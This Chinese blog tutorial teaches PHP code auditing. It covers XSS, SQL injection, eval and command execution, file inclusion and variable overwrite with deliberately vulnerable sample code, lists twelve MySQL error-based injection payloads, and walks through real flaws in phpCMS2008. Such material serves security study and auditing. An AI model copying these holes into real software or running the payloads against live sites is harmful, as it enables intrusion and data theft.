• 一个CMS案例实战讲解PHP代码审计入门


    前言

    php代码审计介绍:顾名思义就是检查php源代码中的缺点和错误信息,分析并找到这些问题引发的安全漏洞。

    1、环境搭建: 工欲善其事必先利其器,先介绍代码审计必要的环境搭建

    审计环境 windows环境(windows7+Apache+MySQL+php)

    phpstudy(任何php集成开发环境都可以,),notepad++, seay源代码审计系统

    1.png

    审计环境 linux环境(Apache+MySQL+php)

    我用的是kail linux apache与mysql已经集成在linux上了,只需要安装php环境即可

    apt-get install php5 php-pear

    service apache2 start

    service mysql start

    2.png

    2、xss审计

    XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。 xss分为存储型的xss和反射型xss, 基于DOM的跨站脚本XSS。

    反射型xss审计的时候基本的思路都一样,通过寻找可控没有过滤(或者可以绕过)的参数,通过echo等输出函数直接输出。寻找的一般思路就是寻找输出函数,再去根据函数寻找变量。一般的输出函数有这些:print , print_r , echo , printf , sprintf , die , var_dump ,var_export。

    测试代码如下(简单的说一下原理):

     3.png

    存储型xss审计和反射型xss审计时候思路差不多,不过存储型xss会在数据库“中转”一下,主要审计sql语句update ,insert更新和插入。

     4.png

    测试代码如下

    <?php

    mysql_connect('localhost','root','root');

    mysql_select_db('test');

    mysql_query("set names gbk");

    if(isset($_POST['submit'])){

    $title=$_POST['title'];

    $con=$_POST['con'];

    $sql="INSERT INTO `xss` (`id` ,`title`,`con`)VALUES (NULL , '$title', '$con');";

    if(mysql_query($sql)){

    echo "留言成功";

    }else{

    echo "留言失败";

    }

    }else{

    $sql="select * from xss";

    if($row=mysql_query($sql)){

    while($rows=mysql_fetch_array($row)){

    echo$rows['id'].$rows['title'].$rows['con']."<br>";

    }

    }

    }

    ?>

    <html>

    <form action="?action=insert"method="post">

    标题:<input type="text" name="title"><br>

    内容:<textarea name="con"></textarea>

    <input type="submit"name="submit" value="提交">

    <form>

    </html>

    基于DOM的跨站脚本XSS:通过访问document.URL 或者document.location执行一些客户端逻辑的javascript代码。不依赖发送给服务器的数据。简单的写一个脚本让大家看一下。

    <HTML>

    <TITLE>DOM base xss !</TITLE>

    <SCRIPT>

    var pos=document.URL.indexOf("name=")+5;

    document.write(document.URL.substring(pos,document.URL.length));

    </SCRIPT>

    .................

    </HTML>

    http://127.0.0.1/xss.html?name=<script>alert(document.cookie)</script>

    3、sql注入审计:

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。SQL注入的产生原因:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

    首先说一下普通的注入审计,可以通过$_GET,$_POST等传参追踪数据库操作,也可以通过select , delete , update,insert 数据库操作语句反追踪传参。写一个简单的sql漏洞。

    <?php

    $conn =mysql_connect('localhost','root','root');

    mysql_select_db("test",$conn);

    $uid = $_GET['id'];

    $sql = " select * from user where id =$uid";

    $result = mysql_query ($sql,$conn);

    print_r(mysql_fetch_row($result));

    ?>

    在实际环境中程序员永远不会写这样的代码,一般都会用addslashes()等过滤函数对从web传递过来的参数进行过滤,但是如果在php链接mysql的时候,设置了“set character_set_clinet=gbk”就会出现一个编码转换的问题,也就是能产生宽字节注入。character_set_client变量就是作为客户端发送的查询中使用的字符集。简单来说%df’会被过滤函数转义为%df’ ,%df’= %df%5c%27 在使用gbk编码的时候会认为%df%5c是一个宽字节%df%5c%27=縗’,这样就会产生注入。咋们把上面那个普通注入改改,让他变成宽字节注入。

    <?php

    $conn =mysql_connect('localhost','root','root');

     mysql_select_db("test",$conn);

     mysql_query("set NAMES'gbk'",$conn);

    $uid = addslashes($_GET['id']);

    $sql = " select * from user where id =$uid";

    $result = mysql_query ($sql,$conn);

    print_r(mysql_fetch_row($result));

    ?>

    4、sql报错注入的12个函数及sql注入语句:

    1、通过floor报错,注入语句如下:   

    and select from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

    2、通过ExtractValue报错,注入语句如下:

    and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

    3、通过UpdateXml报错,注入语句如下:

    and 1=(updatexml(1,concat(0x3a,(selectuser())),1))

    4、通过NAME_CONST报错,注入语句如下:

    and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

    5、通过join报错,注入语句如下:

    select * from(select * from mysql.user ajoin mysql.user b)c;

    6、通过exp报错,注入语句如下:

    and exp(~(select * from (select user () ) a) );

    7、通过GeometryCollection()报错,注入语句如下:

    and GeometryCollection(()select *from(select user () )a)b );

    8、通过polygon ()报错,注入语句如下:

    and polygon (()select * from(select user ())a)b );

    9、通过multipoint ()报错,注入语句如下:

    and multipoint (()select * from(select user() )a)b );

    10、通过multlinestring ()报错,注入语句如下:

    and multlinestring (()select * from(selectuser () )a)b );

    11、通过multpolygon ()报错,注入语句如下:

    and multpolygon (()select * from(selectuser () )a)b );

    12、通过linestring ()报错,注入语句如下:

    and linestring (()select * from(select user() )a)b );

    5.png

    join报错注入(剩下的就不贴图了,已经测试啦);

    5、代码执行审计:

    代码执行审计和sql漏洞审计很相似,sql注入是想sql语句注入在数据库中,代码执行是将可执行代码注入到webservice 。这些容易导致代码执行的函数有以下这些:eval(), asset() , preg_replace(),call_user_func(),call_user_func_array(),array_map()其中preg_replace()需要/e参数。写一个简单的审计测试代码方便理解,如下

    <?php

    if(isset($_GET['id'])){

    $id=$_GET['id'];

    eval("$id = $id;");

    }

    ?>

    6、命令执行审计:

    代码执行说的是可执行的php脚本代码,命令执行就是可以执行系统命令(cmd)或者是应用指令(bash),这个漏洞也是因为传参过滤不严格导致的,一般我们说的php可执行命令的函数有这些:system();exec();shell_exec();passthru();pcntl_exec();popen();proc_open();反引号也是可以执行的,因为他调用了shell_exec这个函数。我们写段代码看一下

     6.png

    这种的命令执行要好找一些,通过函数追踪参数,再通过参数来执行,还有可以通过bash破壳来执行,大牛有文章,我就不献丑了,链接如下:

    http://www.freebuf.com/articles/system/50065.html

    7、文件上传,文件包含漏洞:

    文件上传应该是最常用的漏洞了,上传函数就那一个 move_uploaded_file();一般来说找这个漏洞就是直接ctrl+f 直接开搜。遇到没有过滤的直接传个一句话的webshell上去。上传的漏洞比较多,Apache配置,iis解析漏洞等等。在php中一般都是黑白名单过滤,或者是文件头,content-type等等。一般来找上传的过滤函数进行分析就行,这里就不多说了。

    文件包含有这么两种:本地包含和远程包含。审计的时候函数都是一样的,这个四个包含函数: include() ; include_once() ; require();require_once().include 和 require 语句是相同的,除了错误处理方面:require 会生成致命错误(E_COMPILE_ERROR)并停止脚本,include 只生成警告(E_WARNING),并且脚本会继续。先说一下本地包含,本地包含就指的是只能包含本机文件的漏洞,一般要配合上传,或者是已控的数据库来进行使用。写一段代码测试一下

    首先我们创建一个test.php

    <?php

    $uid=$_GET['id'];

    include(ROOT.$uid.'.php');

    ?>

    再在同目录下创建test1.php

    <?php

    phpinfo();

    ?>

    7.png

    再来说说远程包含,远程包含需要设置 allow_uel_include =On,而且可以http,https,ftp都包含进去,不过实际上这个漏洞太少,很多时候都是代理直接把文件代过来,不审计的时候咋一看还以为是。。。。。。上代码说吧

    <?php

    include($_GET['id']) //这id直接写url就可以包含

    ?>

     8.png

     8、变量覆盖

    大概有两种情况,第一种register_globals,第二种人为变量覆盖,register_globals= On 的时候,传递过来的值会被直接设置为全局变量使用,而Off的时候,我们需要到特定的数组里去得到它。另一种就是人为变量覆盖,写一段代码看看。

    <?php     

       $id = '0'; 

       extract($_GET); 

          if($id==1){ 

       echo "private!"; 

       }else{ 

        echo "public!"; 

       } 

       ?> 

    备注:register_globals php4 默认开启 php5 默认关闭

    9.png

    9、实战:phpCMS2008

    首先先找找配置文件环境变量这些,在/include/common.inc.php文件中突然发现

    1.png

    发现$_SERVER 变量,这个变量不收GPC的保护,ctrl + f 全文找找,在c.php发现这么一些语句

    2.png

    这个地方没有过滤,直接饮用HTTP_REFERER变量,很开心,继续给下看,发现进行了数据库操作,$db->insert($table, $info); 这不就是注入了吗?在referer处注入即可;

    继续审,

    3.png

    在phpcmsypproduct.php下突然发现这个函数urlencode($areaname),这个函数转换areaname为16进制,猜测一下,解码肯定使用urdecode()解码,看一下,这个参数与数据库没有交互,但是在分页时输入了areaname,尝试成功xss

    4.png

    继续,在areaname拼接$urlrule变量的时候,

    $urlrule="$M[url]product-list-$view_type-$catid-$pagesize--$areaname--$order.html|$M[url]product-list-$view_type-$catid-$pagesize--$areaname--$order-$page.html";

    我们发现不仅仅把areaname参数带入,还将pagesize参数带入模板的html,执行进入到get函数处理中,最后经过get->pages->pageurl函数,最终触发pageurl的如下代 码:eval(“”$url= “”$urlrule”";”);在这里,这里将拼接的urlrule进行执行,我们就可以将pagesize参数替代我们想要执行的任意php代码。如下图

    5.png

    咋们继续给下看,大胖又找到了这个phpcmswapindex.php

    6.png

    为了方便测试,在目录下写入test.php <?php phpinfo();?>

    7.png

    phpcms2008完美完成了代码审计的时候的xss, sql注入,代码执行审计,本地包含这一堆漏洞,说实话,大胖也没想到一个cms基本实现php审计实战大部分内容。

    fuckbaidu 2016-12-01回复1楼

     

    不用mysqli和pdo prepare statements和esapi xss filter的PHP程序猿,一律干掉
    不用mybatis或者在mybatis配置中引入$的java程序猿,一律干掉
    不用django querysets的python程序猿,一律干掉

  • 相关阅读:
    文件下载(Servlet/Struts2)
    Spring学习(一)---依赖注入和控制反转
    MyBatis学习(三)---MyBatis和Spring整合
    MyBatis学习(二)---数据表之间关联
    MyBatis学习(一)---配置文件,Mapper接口和动态SQL
    转载:常见端口介绍
    CentOS7 yum提示:another app is currently holding the yum lock;waiting for it to exit
    批量删除文件,只保留目录下最新的几个文件,其他均删除
    转载:SQL Server 如何设置数据库的默认初始大小和自动增长大小
    阿里云ECS使用秘钥或者密码登录
  • 原文地址:https://www.cnblogs.com/h2zZhou/p/6121720.html
Copyright © 2020-2023  润新知